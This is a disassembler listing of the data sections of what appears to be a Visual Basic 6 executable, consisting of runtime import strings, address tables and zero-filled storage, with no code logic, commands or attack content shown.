dword_405CE0	dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)dword_405CF0	dd 9E9E9E9Eh, 5D1Ch, 2 dup(0FFFFFFFFh),	5DA0h, 1000h, 5	dup(0)
					; DATA XREF: .text:00401540o
		dd 5DAEh, 80000206h, 8000029Dh,	80000251h, 80000252h, 800002C5h
		dd 80000278h, 5DC0h, 80000211h,	5DD4h, 8000029Eh, 5DE6h
		dd 80000258h, 80000259h, 5DFCh,	5E18h, 800002C7h, 800002C8h
		dd 8000025Fh, 80000260h, 80000213h, 80000217h, 80000284h
		dd 80000285h, 80000288h, 800002A9h, 800002ADh, 80000242h
		dd 80000064h, 80000269h, 8000026Bh, 80000244h, 0
		dd 4256534Dh, 30364D56h, 4C4C442Eh, 0
aMethcallengine	db 'MethCallEngine',0
		align 10h
		db    0
		align 2
aEvent_sink_add	db 'EVENT_SINK_AddRef',0
		dd 6C440000h, 6E75466Ch, 6F697463h, 6C61436Eh, 6Ch
aEvent_sink_rel	db 'EVENT_SINK_Release',0
		align 4
		db    0
		align 2
aEvent_sink_que	db 'EVENT_SINK_QueryInterface',0
		db    0
		align 2
a__vbaexcepthan	db '__vbaExceptHandler',0
		align 10h
		dd 74h dup(?)
_text		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00001228 (   4648.)
; Section size in file		: 00001228 (   4648.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 406000h
dword_406000	dd 14B610h, 4 dup(0)dword_406014	dd 14B680h, 4 dup(0)dword_406028	dd 0				dd 1, 400000h, 0
aSCs		db '˜°Cs',0             ; DATA XREF: .text:00401A90o
					; .data:004062A0o
		align 10h
		dd 0
		dd offset unk_401A8C
		dd 84h dup(0)
aICs		db '¨°Cs',0
		align 10h
		dd 0
		dd offset off_406288
		dd 7 dup(0)
		dd offset dword_401530
off_406288	dd offset aCs		; DATA XREF: .data:00406264o
					; "ˡCs"
		dd offset aCs_0		; "ˡCs"
aCs		db 'ˡCs',0             ; DATA XREF: .data:off_406288o
		align 10h
		dd offset aSCs		; "˜°Cs"
		align 8
		dd offset dword_401768+4
aCs_1		db 'аCs',0
		align 4
		dd 0FFFFh, 7343B130h, 5	dup(0)
aCs_0		db 'ˡCs',0             ; DATA XREF: .data:0040628Co
		align 4
		dd 0
		dd 1, 406038h, 0
		dd offset dword_4013F0+4
aCs_2		db 'аCs',0
		align 4
		dd 0FFFFh, 7343B130h, 10h dup(0)
dword_40633C	dd 0				dd 2 dup(0)
dword_406348	dd 0				dd 2 dup(0)
dword_406354	dd 0				align 10h
dword_406360	dd 0				dd 2 dup(0)
dword_40636C	dd 0				dd 2 dup(0)
dword_406378	dd 0				dd 2 dup(0)
dword_406384	dd 0				align 10h
dword_406390	dd 0				dd 2 dup(0)
dword_40639C	dd 0				dd 2 dup(0)
dword_4063A8	dd 0				dd 2 dup(0)
dword_4063B4	dd 0				align 10h
dword_4063C0	dd 0				dd 2 dup(0)
dword_4063CC	dd 0				dd 2 dup(0)
dword_4063D8	dd 0				dd 2 dup(0)
dword_4063E4	dd 0				align 10h
dword_4063F0	dd 0				dd 2 dup(0)
dword_4063FC	dd 0				dd 0
dword_406404	dd 1C4h	dup(0)			dd offset dword_401768+4
		dd 734311C2h, 7343118Eh, 7343958Fh, 734F64B9h, 734F64C8h
		dd 73449DE6h, 7344A0A2h, 73521754h, 7352175Ch, 73521764h
		dd 7352176Ch, 73521774h, 7352177Ch, 73521784h, 7352178Ch
		dd 73521794h, 7352179Ch, 735217A4h, 735217ACh, 735217B4h
		dd 735217BCh, 735217C4h, 735217CCh, 735217D4h, 735217DCh
		dd 735217E4h, 735217ECh, 735217F4h, 735217FCh, 73521804h
		dd 7352180Ch, 73521814h, 7352181Ch, 73521824h, 7352182Ch
		dd 73521834h, 7352183Ch, 73521844h, 7352184Ch, 73521854h
		dd 7352185Ch, 73521864h, 7352186Ch, 73521874h, 7352187Ch
		dd 73521884h, 7352188Ch, 73521894h, 7352189Ch, 735218A4h
		dd 735218ACh, 735218B4h, 735218BCh, 735218C4h, 735218CCh
		dd 735218D4h, 735218DCh, 735218E4h, 735218ECh, 735218F4h
		dd 735218FCh, 73521904h, 7352190Ch, 73521914h, 7352191Ch
		dd 73521924h, 7352192Ch, 73521934h, 7352193Ch, 73521944h
		dd 7352194Ch, 73521954h, 7352195Ch, 73521964h, 7352196Ch
		dd 73521974h, 7352197Ch, 73521984h, 7352198Ch, 73521994h
		dd 7352199Ch, 735219A4h, 735219ACh, 735219B4h, 735219BCh
		dd 735219C4h, 735219CCh, 735219D4h, 735219DCh, 735219E4h
		dd 735219ECh, 735219F4h, 735219FCh, 73521A04h, 73521A0Ch
		dd 73521A14h, 73521A1Ch, 73521A24h, 73521A2Ch, 73521A34h
		dd 73521A3Ch, 73521A44h, 73521A4Ch, 73521A54h, 73521A5Ch
		dd 73521A64h, 73521A6Ch, 73521A74h, 73521A7Ch, 73521A84h
		dd 73521A8Ch, 73521A94h, 73521A9Ch, 73521AA4h, 73521AACh
		dd 73521AB4h, 73521ABCh, 73521AC4h, 73521ACCh, 73521AD4h
		dd 73521ADCh, 73521AE4h, 73521AECh, 73521AF4h, 73521AFCh
		dd 73521B04h, 73521B0Ch, 73521B14h, 73521B1Ch, 73521B24h
		dd 73521B2Ch, 73521B34h, 73521B3Ch, 73521B44h, 73521B4Ch
		dd 73521B54h, 73521B5Ch, 73521B64h, 73521B6Ch, 73521B74h
		dd 73521B7Ch, 73521B84h, 73521B8Ch, 73521B94h, 73521B9Ch
		dd 73521BA4h, 73521BACh, 73521BB4h, 73521BBCh, 73521BC4h
		dd 73521BCCh, 73521BD4h, 73521BDCh, 73521BE4h, 73521BECh
		dd 73521BF4h, 73521BFCh, 73521C04h, 73521C0Ch, 73521C14h
		dd 73521C1Ch, 73521C24h, 73521C2Ch, 73521C34h, 73521C3Ch
		dd 73521C44h, 73521C4Ch, 73521C54h, 73521C5Ch, 73521C64h
		dd 73521C6Ch, 73521C74h, 73521C7Ch, 73521C84h, 73521C8Ch
		dd 73521C94h, 73521C9Ch, 73521CA4h, 73521CACh, 73521CB4h
		dd 73521CBCh, 73521CC4h, 73521CCCh, 73521CD4h, 73521CDCh
		dd 73521CE4h, 73521CECh, 73521CF4h, 73521CFCh, 73521D04h
		dd 73521D0Ch, 73521D14h, 73521D1Ch, 73521D24h, 73521D2Ch
		dd 73521D34h, 73521D3Ch, 73521D44h, 73521D4Ch, 73521D54h
		dd 73521D5Ch, 73521D64h, 73521D6Ch, 73521D74h, 73521D7Ch
		dd 73521D84h, 73521D8Ch, 73521D94h, 73521D9Ch, 73521DA4h
		dd 73521DACh, 73521DB4h, 73521DBCh, 73521DC4h, 73521DCCh
		dd 73521DD4h, 73521DDCh, 73521DE4h, 73521DECh, 73521DF4h
		dd 73521DFCh, 73521E04h, 73521E0Ch, 73521E14h, 73521E1Ch
		dd 73521E24h, 73521E2Ch, 73521E34h, 73521E3Ch, 73521E44h
		dd 73521E4Ch, 73521E54h, 73521E5Ch, 73521E64h, 73521E6Ch
		dd 73521E74h, 73521E7Ch, 73521E84h, 73521E8Ch, 73521E94h
		dd 73521E9Ch, 73521EA4h, 73521EACh, 73521EB4h, 73521EBCh
		dd 73521EC4h, 73521ECCh, 73521ED4h, 73521EDCh, 73521EE4h
		dd 73521EECh, 73521EF4h, 73521EFCh, 73521F04h, 73521F0Ch
		dd 73521F14h, 73521F1Ch, 73521F24h, 73521F2Ch, 73521F34h
		dd 73521F3Ch, 73521F44h, 73521F4Ch, 73521F54h, 73521F5Ch
		dd 73521F64h, 73521F6Ch, 73521F74h, 73521F7Ch, 73521F84h
		dd 73521F8Ch, 73521F94h, 73521F9Ch, 73521FA4h, 73521FACh
		dd 73521FB4h, 73521FBCh, 73521FC4h, 73521FCCh, 73521FD4h
		dd 73521FDCh, 73521FE4h, 73521FECh, 73521FF4h, 73521FFCh
		dd 73522004h, 7352200Ch, 73522014h, 7352201Ch, 73522024h
		dd 7352202Ch, 73522034h, 7352203Ch, 73522044h, 7352204Ch
		dd 73522054h, 7352205Ch, 73522064h, 7352206Ch, 73522074h
		dd 7352207Ch, 73522084h, 7352208Ch, 73522094h, 7352209Ch
		dd 735220A4h, 735220ACh, 735220B4h, 735220BCh, 735220C4h
		dd 735220CCh, 735220D4h, 735220DCh, 735220E4h, 735220ECh
		dd 735220F4h, 735220FCh, 73522104h, 7352210Ch, 73522114h
		dd 7352211Ch, 73522124h, 7352212Ch, 73522134h, 7352213Ch
		dd 73522144h, 7352214Ch, 73522154h, 7352215Ch, 73522164h
		dd 7352216Ch, 73522174h, 7352217Ch, 73522184h, 7352218Ch
		dd 73522194h, 7352219Ch, 735221A4h, 735221ACh, 735221B4h
		dd 735221BCh, 735221C4h, 735221CCh, 735221D4h, 735221DCh
		dd 735221E4h, 735221ECh, 735221F4h, 735221FCh, 73522204h
		dd 7352220Ch, 73522214h, 7352221Ch, 73522224h, 7352222Ch
		dd 73522234h, 7352223Ch, 73522244h, 7352224Ch, 73522254h
		dd 7352225Ch, 73522264h, 7352226Ch, 73522274h, 7352227Ch
		dd 73522284h, 7352228Ch, 73522294h, 7352229Ch, 735222A4h
		dd 735222ACh, 735222B4h, 735222BCh, 735222C4h, 735222CCh
		dd 735222D4h, 735222DCh, 735222E4h, 735222ECh, 735222F4h
		dd 735222FCh, 73522304h, 7352230Ch, 73522314h, 7352231Ch
		dd 73522324h, 7352232Ch, 73522334h, 7352233Ch, 73522344h
		dd 7352234Ch, 73522354h, 7352235Ch, 73522364h, 7352236Ch
		dd 73522374h, 7352237Ch, 73522384h, 7352238Ch, 73522394h
		dd 7352239Ch, 735223A4h, 735223ACh, 735223B4h, 735223BCh
		dd 735223C4h, 735223CCh, 735223D4h, 735223DCh, 735223E4h
		dd 735223ECh, 735223F4h, 735223FCh, 73522404h, 7352240Ch
		dd 73522414h, 7352241Ch, 73522424h, 7352242Ch, 73522434h
		dd 7352243Ch, 73522444h, 7352244Ch, 73522454h, 7352245Ch
		dd 73522464h, 7352246Ch, 73522474h, 7352247Ch, 73522484h
		dd 7352248Ch, 73522494h, 7352249Ch, 735224A4h, 735224ACh
		dd 735224B4h, 735224BCh, 735224C4h, 735224CCh, 735224D4h
		dd 735224DCh, 735224E4h, 735224ECh, 735224F4h, 735224FCh
		dd 73522504h, 401A2Fh, 401A43h,	401A57h, 401A6Bh, 401A1Bh
		dd 401A7Fh
		align 200h
_data		ends

; Section 4. (virtual address 0003C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0003B600
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 43C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start